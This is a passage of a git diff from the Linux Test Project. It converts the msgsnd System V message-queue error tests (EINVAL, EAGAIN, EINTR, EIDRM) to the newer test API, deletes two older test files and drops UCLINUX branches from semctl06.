 
-	cleanup();
-
-	tst_exit();
+	if (TEST_ERRNO == tc->exp_err) {
+		tst_res(TPASS | TTERRNO, "msgsnd() failed as expected");
+	} else {
+		tst_res(TFAIL | TTERRNO, "msgsnd() failed unexpectedly,"
+			" expected %s", tst_strerrno(tc->exp_err));
+	}
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static void do_test(unsigned int n)
 {
-	tst_require_root();
+	pid_t pid;
+	struct tcase *tc = &tcases[n];
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Switch to nobody user for correct error code collection */
-	ltpuser = getpwnam(nobody_uid);
-	if (setuid(ltpuser->pw_uid) == -1) {
-		tst_resm(TINFO, "setuid failed to "
-			 "to set the effective uid to %d", ltpuser->pw_uid);
-		perror("setuid");
+	if (tc->exp_user == 0) {
+		verify_msgsnd(tc);
+		return;
 	}
 
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	msgkey = getipckey();
-
-	/* create a message queue without write permission */
-	if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RD)) == -1) {
-		tst_brkm(TBROK, cleanup, "Can't create message queue");
+	pid = SAFE_FORK();
+	if (pid) {
+		tst_reap_children();
+	} else {
+		SAFE_SETUID(pw->pw_uid);
+		verify_msgsnd(tc);
 	}
-
-	/* initialize the message buffer with something trivial */
-	msg_buf.mtype = MSGTYPE;
-	msg_buf.mtext[0] = 'a';
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void setup(void)
 {
-	/* if it exists, remove the message queue that was created */
-	rm_queue(msg_q_1);
+	msgkey = GETIPCKEY();
 
-	tst_rmdir();
+	queue_id = SAFE_MSGGET(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW);
 
+	pw = SAFE_GETPWNAM("nobody");
 }
+
+static void cleanup(void)
+{
+	if (queue_id != -1)
+		SAFE_MSGCTL(queue_id, IPC_RMID, NULL);
+}
+
+static struct tst_test test = {
+	.tid = "msgsnd02",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.forks_child = 1,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = do_test
+};
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd03.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd03.c
deleted file mode 100644
index ef6e58e..0000000
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd03.c
+++ /dev/null
@@ -1,178 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	msgsnd03.c
- *
- * DESCRIPTION
- *	msgsnd03 - test for EINVAL error
- *
- * ALGORITHM
- *	create a message queue with read/write permissions
- *	create a trivial message buffer
- *	loop if that option was specified
- *	call msgsnd() using four different invalid cases
- *	check the errno value
- *	  issue a PASS message if we get EINVAL
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  msgsnd03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
- */
-
-#include "test.h"
-
-#include "ipcmsg.h"
-
-void cleanup(void);
-void setup(void);
-
-char *TCID = "msgsnd03";
-int TST_TOTAL = 4;
-
-int msg_q_1 = -1;		/* The message queue id created in setup */
-MSGBUF msg_buf;			/* a buffer for the message to queue */
-int bad_q = -1;			/* a value to use as a bad queue ID */
-
-struct test_case_t {
-	int *queue_id;
-	MSGBUF *buffer;
-	long mtype;
-	int msg_size;
-	int error;
-} TC[] = {
-	/* EINVAL - the queue ID is invalid */
-	{
-	&bad_q, &msg_buf, 1, 1, EINVAL},
-	    /* EINVAL - the message type is not positive (0) */
-	{
-	&msg_q_1, &msg_buf, 0, 1, EINVAL},
-	    /* EINVAL - the message type is not positive (>0) */
-	{
-	&msg_q_1, &msg_buf, -1, 1, EINVAL},
-	    /* EINVAL - the message size is less than zero */
-	{
-	&msg_q_1, &msg_buf, 1, -1, EINVAL}
-};
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * loop through the test cases
-		 */
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			/* set the message type */
-			msg_buf.mtype = TC[i].mtype;
-
-			/* make the call with the TEST macro */
-			TEST(msgsnd(*(TC[i].queue_id), TC[i].buffer,
-				    TC[i].msg_size, 0));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error) {
-				tst_resm(TPASS, "expected failure - "
-					 "errno = %d : %s", TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL, "unexpected error - %d : %s",
-					 TEST_ERRNO, strerror(TEST_ERRNO));
-			}
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	msgkey = getipckey();
-
-	/* create a message queue with read/write permission */
-	if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW)) == -1) {
-		tst_brkm(TBROK, cleanup, "Can't create message queue");
-	}
-
-	/* initialize the message buffer with something trivial */
-	msg_buf.mtype = MSGTYPE;
-	msg_buf.mtext[0] = 'a';
-}
-
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
-{
-	/* if it exists, remove the message queue that was created */
-	rm_queue(msg_q_1);
-
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd04.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd04.c
deleted file mode 100644
index 4432d67..0000000
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd04.c
+++ /dev/null
@@ -1,155 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	msgsnd04.c
- *
- * DESCRIPTION
- *	msgsnd04 - test for EAGAIN error
- *
- * ALGORITHM
- *	create a message queue with read/write permissions
- *	initialize a message buffer with a known message and type
- *	enqueue the message in a loop until the queue is full
- *	loop if that option was specified
- *	attempt to enqueue another message - msgsnd()
- *	check the errno value
- *	  issue a PASS message if we get EAGAIN
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  msgsnd04 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
- */
-
-#include "test.h"
-
-#include "ipcmsg.h"
-
-void cleanup(void);
-void setup(void);
-
-char *TCID = "msgsnd04";
-int TST_TOTAL = 1;
-
-int msg_q_1 = -1;		/* The message queue id created in setup */
-MSGBUF msg_buf;
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Attempt to write another message to the full queue.
-		 */
-
-		TEST(msgsnd(msg_q_1, &msg_buf, MSGSIZE, IPC_NOWAIT));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "call succeeded when error expected");
-			continue;
-		}
-
-		switch (TEST_ERRNO) {
-		case EAGAIN:
-			tst_resm(TPASS, "expected failure - errno = %d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed with an "
-				 "unexpected error - %d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	msgkey = getipckey();
-
-	/* create a message queue with read/write permission */
-	if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW)) == -1) {
-		tst_brkm(TBROK, cleanup, "Can't create message queue");
-	}
-
-	/* initialize the message buffer */
-	init_buf(&msg_buf, MSGTYPE, MSGSIZE);
-
-	/* write messages to the queue until it is full */
-	while (msgsnd(msg_q_1, &msg_buf, MSGSIZE, IPC_NOWAIT) != -1) {
-		msg_buf.mtype += 1;
-	}
-}
-
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
-{
-	/* if it exists, remove the message queue that was created */
-	rm_queue(msg_q_1);
-
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c
index 16d62f8..032c870 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c
+++ b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd05.c
@@ -1,234 +1,125 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  */
 
 /*
- * NAME
- *	msgsnd05.c
- *
  * DESCRIPTION
- *	msgsnd05 - test for EINTR error
- *
- * ALGORITHM
- *	create a message queue with read/write permissions
- *	initialize a message buffer with a known message and type
- *	enqueue the message in a loop until the queue is full
- *	loop if that option was specified
- *	fork a child process
- *	child attempts to enqueue a message to the full queue and sleeps
- *	parent sends a SIGHUP to the child then waits for the child to complete
- *	child get a return from msgsnd()
- *	check the errno value
- *	  issue a PASS message if we get EINTR
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	child exits, parent calls cleanup
- *
- * USAGE:  <for command-line>
- *  msgsnd05 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *      14/03/2008 Matthieu Fertré (Matthieu.Fertre@irisa.fr)
- *      - Fix concurrency issue. Due to the use of usleep function to
- *        synchronize processes, synchronization issues can occur on a loaded
- *        system. Fix this by using pipes to synchronize processes.
- *
- * RESTRICTIONS
- *	none
+ * 1) msgsnd(2) fails and sets errno to EAGAIN if the message can't be
+ *    sent due to the msg_qbytes limit for the queue and IPC_NOWAIT is
+ *    specified.
+ * 2) msgsnd(2) fails and sets errno to EINTR if msgsnd(2) sleeps on a
+ *    full message queue condition and the process catches a signal.
  */
 
-#include "test.h"
-
-#include "ipcmsg.h"
-
+#include <errno.h>
+#include <unistd.h>
 #include <sys/types.h>
-#include <sys/wait.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
 
-void do_child(void);
-void cleanup(void);
-void setup(void);
-#ifdef UCLINUX
-#define PIPE_NAME	"msgsnd05"
-void do_child_uclinux(void);
-#endif
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-char *TCID = "msgsnd05";
-int TST_TOTAL = 1;
+static key_t msgkey;
+static int queue_id = -1;
+static struct buf {
+	long type;
+	char text[MSGSIZE];
+} snd_buf = {1, "hello"};
 
-int msg_q_1 = -1;		/* The message queue id created in setup */
+static struct tcase {
+	int flag;
+	int exp_err;
+	/*1: nobody expected  0: root expected */
+	int exp_user;
+} tcases[] = {
+	{IPC_NOWAIT, EAGAIN, 0},
+	{0, EINTR, 1}
+};
 
-MSGBUF msg_buf;
-
-int main(int ac, char **av)
+static void verify_msgsnd(struct tcase *tc)
 {
-	int lc;
-	pid_t c_pid;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-#ifdef UCLINUX
-	maybe_run_child(&do_child_uclinux, "d", &msg_q_1);
-#endif
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * fork a child that will attempt to write a message
-		 * to the queue without IPC_NOWAIT
-		 */
-		if ((c_pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "could not fork");
-		}
-
-		if (c_pid == 0) {	/* child */
-			/*
-			 * Attempt to write another message to the full queue.
-			 * Without the IPC_NOWAIT flag, the child sleeps
-			 */
-
-#ifdef UCLINUX
-			if (self_exec(av[0], "d", msg_q_1) < 0) {
-				tst_brkm(TBROK, cleanup, "could not self_exec");
-			}
-#else
-			do_child();
-#endif
-		} else {
-			TST_PROCESS_STATE_WAIT(cleanup, c_pid, 'S');
-
-			/* send a signal that must be caught to the child */
-			if (kill(c_pid, SIGHUP) == -1)
-				tst_brkm(TBROK, cleanup, "kill failed");
-
-			waitpid(c_pid, NULL, 0);
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * do_child()
- */
-void do_child(void)
-{
-	TEST(msgsnd(msg_q_1, &msg_buf, MSGSIZE, 0));
-
+	TEST(msgsnd(queue_id, &snd_buf, MSGSIZE, tc->flag));
 	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "call succeeded when error expected");
-		exit(-1);
+		tst_res(TFAIL, "msgsnd() succeeded unexpectedly");
+		return;
 	}
 
-	switch (TEST_ERRNO) {
-	case EINTR:
-		tst_resm(TPASS, "expected failure - errno = %d : %s",
-			 TEST_ERRNO, strerror(TEST_ERRNO));
-		break;
-	default:
-		tst_resm(TFAIL,
-			 "call failed with an unexpected error - %d : %s",
-			 TEST_ERRNO, strerror(TEST_ERRNO));
-		break;
+	if (TEST_ERRNO == tc->exp_err) {
+		tst_res(TPASS | TTERRNO, "msgsnd() failed as expected");
+	} else {
+		tst_res(TFAIL | TTERRNO, "msgsnd() failed unexpectedly,"
+			" expected %s", tst_strerrno(tc->exp_err));
 	}
-
-	exit(0);
 }
 
-void sighandler(int sig)
+static void sighandler(int sig)
 {
 	if (sig == SIGHUP)
 		return;
 	else
-		tst_brkm(TBROK, NULL, "received unexpected signal %d", sig);
+		_exit(TBROK);
 }
 
-#ifdef UCLINUX
-/*
- * do_child_uclinux() - capture signals, initialize buffer, then run do_child()
- */
-void do_child_uclinux(void)
+static void do_test(unsigned int n)
 {
-	/* initialize the message buffer */
-	init_buf(&msg_buf, MSGTYPE, MSGSIZE);
+	pid_t pid;
+	struct tcase *tc = &tcases[n];
 
-	tst_sig(FORK, sighandler, cleanup);
-
-	do_child();
-}
-#endif
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-	/* capture signals in our own handler */
-	tst_sig(FORK, sighandler, cleanup);
-
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	msgkey = getipckey();
-
-	/* create a message queue with read/write permission */
-	if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW)) == -1) {
-		tst_brkm(TBROK, cleanup, "Can't create message queue");
+	if (tc->exp_user == 0) {
+		verify_msgsnd(tc);
+		return;
 	}
 
-	/* initialize the message buffer */
-	init_buf(&msg_buf, MSGTYPE, MSGSIZE);
-
-	/* write messages to the queue until it is full */
-	while (msgsnd(msg_q_1, &msg_buf, MSGSIZE, IPC_NOWAIT) != -1) {
-		msg_buf.mtype += 1;
+	pid = SAFE_FORK();
+	if (!pid) {
+		SAFE_SIGNAL(SIGHUP, sighandler);
+		verify_msgsnd(tc);
+		_exit(0);
 	}
+
+	TST_PROCESS_STATE_WAIT(pid, 'S');
+	SAFE_KILL(pid, SIGHUP);
+	tst_reap_children();
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void setup(void)
 {
-	/* if it exists, remove the message queue that was created */
-	rm_queue(msg_q_1);
+	msgkey = GETIPCKEY();
 
-	tst_rmdir();
+	queue_id = SAFE_MSGGET(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW);
 
+	while (msgsnd(queue_id, &snd_buf, MSGSIZE, IPC_NOWAIT) != -1)
+		snd_buf.type += 1;
 }
+
+static void cleanup(void)
+{
+	if (queue_id != -1)
+		SAFE_MSGCTL(queue_id, IPC_RMID, NULL);
+}
+
+static struct tst_test test = {
+	.tid = "msgsnd05",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.forks_child = 1,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = do_test
+};
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c
index 42f6e79..ce7f046 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c
+++ b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd06.c
@@ -1,222 +1,98 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  */
 
 /*
- * NAME
- *	msgsnd06.c
- *
  * DESCRIPTION
- *	msgsnd06 - test for EIDRM error
- *
- * ALGORITHM
- *	loop if that option was specified
- *	create a message queue with read/write permissions
- *	initialize a message buffer with a known message and type
- *	enqueue messages in a loop until the queue is full
- *	fork a child process
- *	child attempts to enqueue a message to the full queue and sleeps
- *	parent removes the queue and then exits
- *	child get a return from msgsnd()
- *	check the errno value
- *	  issue a PASS message if we get EIDRM
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  msgsnd06 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *      14/03/2008 Matthieu Fertré (Matthieu.Fertre@irisa.fr)
- *      - Fix concurrency issue. Due to the use of usleep function to
- *        synchronize processes, synchronization issues can occur on a loaded
- *        system. Fix this by using pipes to synchronize processes.
- *
- * RESTRICTIONS
- *	none
+ * Tests if EIDRM is returned when message queue was removed while
+ * msgsnd() was trying to send a message.
  */
 
-#include <sys/wait.h>
-#include "test.h"
+#include <errno.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
 
-#include "ipcmsg.h"
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-void cleanup(void);
-void setup(void);
-void do_child(void);
+static key_t msgkey;
+static int queue_id = -1;
+static struct buf {
+	long type;
+	char text[MSGSIZE];
+} snd_buf = {1, "hello"};
 
-char *TCID = "msgsnd06";
-int TST_TOTAL = 1;
-
-int msg_q_1 = -1;		/* The message queue id created in setup */
-
-MSGBUF msg_buf;
-
-int main(int ac, char **av)
+static void verify_msgsnd(void)
 {
-	int lc;
-	pid_t c_pid;
-	int status, e_code;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-#ifdef UCLINUX
-#define PIPE_NAME	"msgsnd06"
-	maybe_run_child(&do_child, "d", &msg_q_1);
-#endif
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		msgkey = getipckey();
-
-		/* create a message queue with read/write permission */
-		if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW))
-		    == -1) {
-			tst_brkm(TBROK, cleanup, "Can't create message queue");
-		}
-
-		/* initialize the message buffer */
-		init_buf(&msg_buf, MSGTYPE, MSGSIZE);
-
-		/* write messages to the queue until it is full */
-		while (msgsnd(msg_q_1, &msg_buf, MSGSIZE, IPC_NOWAIT) != -1) {
-			msg_buf.mtype += 1;
-		}
-
-		/*
-		 * fork a child that will attempt to write a message
-		 * to the queue without IPC_NOWAIT
-		 */
-		if ((c_pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "could not fork");
-		}
-
-		if (c_pid == 0) {	/* child */
-
-#ifdef UCLINUX
-			if (self_exec(av[0], "d", msg_q_1) < 0) {
-				tst_brkm(TBROK, cleanup, "could not self_exec");
-			}
-#else
-			do_child();
-#endif
-		} else {
-			TST_PROCESS_STATE_WAIT(cleanup, c_pid, 'S');
-
-			/* remove the queue */
-			rm_queue(msg_q_1);
-
-			/* wait for the child to finish */
-			wait(&status);
-			/* make sure the child returned a good exit status */
-			e_code = status >> 8;
-			if (e_code != 0) {
-				tst_resm(TFAIL, "Failures reported above");
-			}
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * do_child()
- */
-void do_child(void)
-{
-	int retval = 0;
-
-#ifdef UCLINUX
-	/* initialize the message buffer */
-	init_buf(&msg_buf, MSGTYPE, MSGSIZE);
-
-#endif
-	/*
-	 * Attempt to write another message to the full queue.
-	 * Without the IPC_NOWAIT flag, the child sleeps
-	 */
-	TEST(msgsnd(msg_q_1, &msg_buf, MSGSIZE, 0));
-
+	TEST(msgsnd(queue_id, &snd_buf, MSGSIZE, 0));
 	if (TEST_RETURN != -1) {
-		retval = 1;
-		tst_resm(TFAIL, "call succeeded when error expected");
-		exit(retval);
+		tst_res(TFAIL, "msgsnd() succeeded unexpectedly");
+		return;
 	}
 
-	switch (TEST_ERRNO) {
-	case EIDRM:
-		tst_resm(TPASS, "expected failure - errno = %d : %s",
-			 TEST_ERRNO, strerror(TEST_ERRNO));
-
-		/* mark the queue as invalid as it was removed */
-		msg_q_1 = -1;
-		break;
-	default:
-		retval = 1;
-		tst_resm(TFAIL,
-			 "call failed with an unexpected error - %d : %s",
-			 TEST_ERRNO, strerror(TEST_ERRNO));
-		break;
+	if (TEST_ERRNO == EIDRM) {
+		tst_res(TPASS | TTERRNO, "msgsnd() failed as expected");
+	} else {
+		tst_res(TFAIL | TTERRNO,
+			"msgsnd() failed unexpectedly, expected EIDRM");
 	}
-	exit(retval);
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static void do_test(void)
 {
+	pid_t pid;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	queue_id = SAFE_MSGGET(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW);
 
-	TEST_PAUSE;
+	while (msgsnd(queue_id, &snd_buf, MSGSIZE, IPC_NOWAIT) != -1)
+		snd_buf.type += 1;
 
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
+	pid = SAFE_FORK();
+	if (!pid) {
+		verify_msgsnd();
+		_exit(0);
+	}
+
+	TST_PROCESS_STATE_WAIT(pid, 'S');
+
+	SAFE_MSGCTL(queue_id, IPC_RMID, NULL);
+
+	tst_reap_children();
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void setup(void)
 {
-
-	tst_rmdir();
-
+	msgkey = GETIPCKEY();
 }
+
+static void cleanup(void)
+{
+	if (queue_id != -1)
+		SAFE_MSGCTL(queue_id, IPC_RMID, NULL);
+}
+
+static struct tst_test test = {
+	.tid = "msgsnd06",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = do_test
+};
diff --git a/testcases/kernel/syscalls/ipc/semctl/semctl06.c b/testcases/kernel/syscalls/ipc/semctl/semctl06.c
index c298345..b3af41f 100644
--- a/testcases/kernel/syscalls/ipc/semctl/semctl06.c
+++ b/testcases/kernel/syscalls/ipc/semctl/semctl06.c
@@ -57,7 +57,7 @@
 #include <stdlib.h>
 #include <signal.h>
 #include "test.h"
-#include <wait.h>
+#include <sys/wait.h>
 #include "ipcsem.h"
 
 int local_flag = 1;
@@ -90,27 +90,13 @@
 static void dosemas(int id);
 static void dotest(key_t key);
 
-#ifdef UCLINUX
-static char *argv0;
-
-void do_child();
-static int id_uclinux;
-static char *maxsemstring;
-#endif
-
 int main(int argc, char **argv)
 {
 	register int i, pid;
 	int count, child, status, nwait;
 
-#ifdef UCLINUX
-	
 	tst_parse_opts(argc, argv, NULL, NULL);
 
-	argv0 = argv[0];
-	maybe_run_child(&do_child, "dS", &id_uclinux, &maxsemstring);
-#endif
-
 	prog = argv[0];
 	nwait = 0;
 	setup();
@@ -205,25 +191,8 @@
 		if ((pid = FORK_OR_VFORK()) < 0) {
 			tst_resm(TFAIL, "\tfork failed");
 		}
-		if (pid == 0) {
-#ifdef UCLINUX
-			int j;
-			maxsemstring = "";
-			for (j = 0; j < NSEMS; j++) {
-				if (asprintf(&maxsemstring, "%s%s%d",
-					     maxsemstring, (j ? ":" : ""),
-					     maxsemvals[j]) < 0) {
-					tst_brkm(TBROK, NULL, "Could not serialize "
